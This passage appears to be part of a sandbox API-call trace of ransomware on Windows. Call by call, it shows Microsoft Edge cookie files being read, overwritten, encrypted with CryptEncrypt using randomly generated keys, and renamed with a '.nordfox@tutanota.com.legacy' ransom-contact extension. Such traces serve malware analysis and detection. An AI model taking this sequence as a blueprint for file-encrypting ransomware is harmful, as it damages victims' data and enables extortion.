lpBuffer=0x60da88*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60da88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.833] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.833] CloseHandle (hObject=0x1b8c) returned 1 [0192.833] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e7f0 | out: pbBuffer=0x60e7f0) returned 1 [0192.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie", dwFileAttributes=0x80) returned 1 [0192.837] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.837] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=210) returned 1 [0192.837] ReadFile (in: hFile=0x1b8c, lpBuffer=0x60b4c8, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b4c8*, lpNumberOfBytesRead=0x2e1f9bc*=0xd2, lpOverlapped=0x0) returned 1 [0192.838] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.838] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60bae8*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60bae8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd2, lpOverlapped=0x0) returned 1 [0192.838] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd2 [0192.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.839] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e7f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e7f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.839] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.839] CloseHandle (hObject=0x1b8c) returned 1 [0192.839] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.841] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie", dwFileAttributes=0x80) returned 1 [0192.841] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.842] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=207) returned 1 [0192.842] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f6a490, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a490*, lpNumberOfBytesRead=0x2e1f9bc*=0xcf, lpOverlapped=0x0) returned 1 [0192.843] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.843] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f6aeb0*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6aeb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcf, lpOverlapped=0x0) returned 1 [0192.843] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcf [0192.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.843] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.843] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.844] CloseHandle (hObject=0x1b8c) returned 1 [0192.844] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ce28 | out: pbBuffer=0x60ce28) returned 1 [0192.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0192.846] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.846] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0192.846] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0192.846] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.846] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0192.846] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0192.846] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.846] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.847] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60ce28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ce28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.847] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.847] CloseHandle (hObject=0x1b8c) returned 1 [0192.848] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cf30 | out: pbBuffer=0x60cf30) returned 1 [0192.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.849] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie", dwFileAttributes=0x80) returned 1 [0192.850] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.850] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=179) returned 1 [0192.850] ReadFile (in: hFile=0x1b8c, lpBuffer=0x57e530, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57e530*, lpNumberOfBytesRead=0x2e1f9bc*=0xb3, lpOverlapped=0x0) returned 1 [0192.851] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.851] WriteFile (in: hFile=0x1b8c, lpBuffer=0x57e5f0*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb3, lpOverlapped=0x0) returned 1 [0192.851] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb3 [0192.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cf30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cf30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.851] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60cf30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cf30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.851] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.851] CloseHandle (hObject=0x1b8c) returned 1 [0192.852] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.853] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0192.853] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.853] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie", dwFileAttributes=0x80) returned 1 [0192.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.854] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=161) returned 1 [0192.854] ReadFile (in: hFile=0x1b8c, lpBuffer=0x55f660, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55f660*, lpNumberOfBytesRead=0x2e1f9bc*=0xa1, lpOverlapped=0x0) returned 1 [0192.855] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.855] WriteFile (in: hFile=0x1b8c, lpBuffer=0x55eb60*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55eb60*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa1, lpOverlapped=0x0) returned 1 [0192.855] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa1 [0192.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.856] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.856] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.856] CloseHandle (hObject=0x1b8c) returned 1 [0192.856] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.858] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cd20 | out: pbBuffer=0x60cd20) returned 1 [0192.858] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.858] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie", dwFileAttributes=0x80) returned 1 [0192.859] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.859] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=243) returned 1 [0192.859] ReadFile (in: hFile=0x1b8c, lpBuffer=0x563108, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563108*, lpNumberOfBytesRead=0x2e1f9bc*=0xf3, lpOverlapped=0x0) returned 1 [0192.860] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.860] WriteFile (in: hFile=0x1b8c, lpBuffer=0x563358*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf3, lpOverlapped=0x0) returned 1 [0192.860] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf3 [0192.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cd20*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cd20*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.860] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60cd20*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cd20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.860] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.861] CloseHandle (hObject=0x1b8c) returned 1 [0192.861] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.919] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d980 | out: pbBuffer=0x60d980) returned 1 [0192.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.920] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie", dwFileAttributes=0x80) returned 1 [0192.922] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.923] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: 